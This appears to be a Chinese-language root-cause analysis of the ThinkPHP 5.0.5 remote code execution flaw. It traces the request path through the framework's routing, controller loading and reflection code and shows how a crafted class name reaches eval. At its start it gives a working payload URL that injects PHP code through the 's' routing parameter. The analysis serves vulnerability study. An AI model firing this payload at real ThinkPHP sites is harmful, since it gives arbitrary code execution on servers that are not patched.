使用某一payload对该漏洞进行分析。

1
http://127.0.0.1:10080/thinkphp_5.0.5/public/index.php?s=index/think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

这里为什么要使用s进行传入呢,因为如果直接在url,比如

1
http://127.0.0.1:10080/thinkphp_5.0.5/public/index.php/index/think\view\driver\Php/display

这样的话\会自动转化为/,猜测应该是浏览器的原因。

首先打上几个断点,停在app.php::106

1
$dispatch = self::routeCheck($request, $config);

进入路由检测,然后跟进app.php::514

1
$path = $request->path();

到达reuqest.php的path方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}

继续跟进$pathinfo = $this->pathinfo();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}

可以看到会首先检测URL里面是否有兼容模式的参数,当然,参数也可以在配置文件里修改,默认的话是s

然后跟进到app.php::541

1
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

跟进check方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace($depr, '|', $url);
if (strpos($url, '|') && isset(self::$rules['alias'][strstr($url, '|', true)])) {
// 检测路由别名
$result = self::checkRouteAlias($request, $url, $depr);
if (false !== $result) {
return $result;
}
}
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
$rules = self::$rules[$method];
// 检测域名部署
if ($checkDomain) {
self::checkDomain($request, $rules, $method);
}
// 检测URL绑定
$return = self::checkUrlBind($url, $rules, $depr);
if (false !== $return) {
return $return;
}
if ('|' != $url) {
$url = rtrim($url, '|');
}
$item = str_replace('|', '/', $url);
if (isset($rules[$item])) {
// 静态路由规则检测
$rule = $rules[$item];
if (true === $rule) {
$rule = self::getRouteExpress($item);
}
if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) {
self::setOption($rule['option']);
return self::parseRule($item, $rule['route'], $url, $rule['option']);
}
}
// 路由规则检测
if (!empty($rules)) {
return self::checkRoute($request, $rules, $url, $depr);
}
return false;
}

可以看到首先将/替换为了|,继续跟进会跟进到Route.php::866-868

1
2
3
if (!empty($rules)) {
return self::checkRoute($request, $rules, $url, $depr);
}

此时的

继续可以跟到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} elseif (false !== strpos($url, '=')) {
// 参数1=值1&参数2=值2...
parse_str($url, $var);
} else {
$path = [$url];
}
return [$path, $var];
}

可以看到

1
2
// [模块/控制器/操作]
$path = explode('/', $url);

可以看到将url进行了分割,模块,控制器,操作

然后使用array_shift函数分割成

1
2
3
module = index
controller = think\view\driver\Php
action = display

然后可以跟进到

1
2
3
4
5
6
7
8
9
10
11
public static function parseName($name, $type = 0, $ucfirst = true)
{
if ($type) {
$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
return strtoupper($match[1]);
}, $name);
return $ucfirst ? ucfirst($name) : lcfirst($name);
} else {
return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}
}

进行命名风格的转换,将首字母小写转换为大写

继续跟进$instance = *Loader*::controller($controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller']);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
if (strpos($name, '\\')) {
$class = $name;
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name);
} else {
$module = Request::instance()->module();
}
$class = self::parseClass($module, $layer, $name, $appendSuffix);
}
if (class_exists($class)) {
return App::invokeClass($class);
} elseif ($empty && class_exists($emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix))) {
return new $emptyClass(Request::instance());
}
}

可以看到如果controller中有\那么直接不分割往下走,如果这个类存在

那么return App::invokeClass($class);

继续跟进到

1
2
3
4
5
6
7
8
9
10
11
public static function invokeClass($class, $vars = [])
{
$reflect = new \ReflectionClass($class);
$constructor = $reflect->getConstructor();
if ($constructor) {
$args = self::bindParams($constructor, $vars);
} else {
$args = [];
}
return $reflect->newInstanceArgs($args);
}

进行了实例化

然后会调用反射类实例化方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

然后这个payload最后进入eval代码执行了。